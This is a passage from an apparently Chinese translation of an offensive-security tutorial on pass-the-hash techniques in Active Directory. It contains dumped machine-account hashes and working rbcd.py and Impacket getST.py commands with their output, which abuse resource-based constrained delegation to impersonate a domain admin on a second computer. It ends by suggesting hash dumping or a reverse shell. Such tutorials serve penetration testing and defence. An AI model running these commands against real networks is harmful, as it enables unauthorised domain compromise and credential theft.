DOMAIN\PC01$:aes128-cts-hmac-sha1-96:fe0acc236a82bd74fdcaa593f51481f2
DOMAIN\PC01$:des-cbc-md5:cd4308d6f285fc82
DOMAIN\PC01$:aad3b435b51404eeaad3b435b51404ee:6216d3268ba7634e92313c8b60293248:::
第二 使用[rbcd_permissions](https://github.com/NinjaStyle82/rbcd_permissions)
脚本通过LDAP将计算机账户的哈希传递到控制器，用于更新第二台计算机的 _msDS-AllowedToActOnBehalfOfOtherIdentity_
属性。浙江允许第一台计算机模拟该系统上任何的域用户。
python3 rbcd.py -u PC01$ -H aad3b435b51404eeaad3b435b51404ee:6216d3268ba7634e92313c8b60293248 -t 'CN=PC02,CN=Computers,DC=domain,DC=local' -d domain.local -c 'CN=PC01,CN=Computers,DC=domain,DC=local' -l DC1.domain.local
Successfully added permissions!
使用impacket的 getST.py脚本使用第一台计算机的hash去为第二台计算机创建一个管理员权限的服务票据。
getST.py -spn cifs/PC02 -hashes aad3b435b51404eeaad3b435b51404ee:6216d3268ba7634e92313c8b60293248 -impersonate DA domain.local/PC01\$
[*] Getting TGT for user
[*] Impersonating DA
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in DA.ccache
创建票据后,ptt到第二台计算机以获得对他的管理访问权限。转储哈希值，反弹shell或者做任何你想要在该系统做的事情。
**资源** :
<https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution>
<https://www.thehacker.recipes/active-directory-domain-services/movement/abusing-kerberos/kerberos-delegations#resource-based-constrained-delegations-rbcd>
## 总结
无论有/无传递hash以及Linux/Window的情况,
都有许多执行上述操作的方法。但是我想展示一下我发现的在传递哈希值非常有用的方法。由于开放源代码工具（OST）开发人员以及对这些技术进行了详细描述的博客作者的出色工作，使得很多事情都是可能的。
> 本文为翻译文章,原文链接:<https://www.n00py.io/2020/12/alternative-ways-to-pass-the-> hash-pth/> | 社区文章 |
Subsets and Splits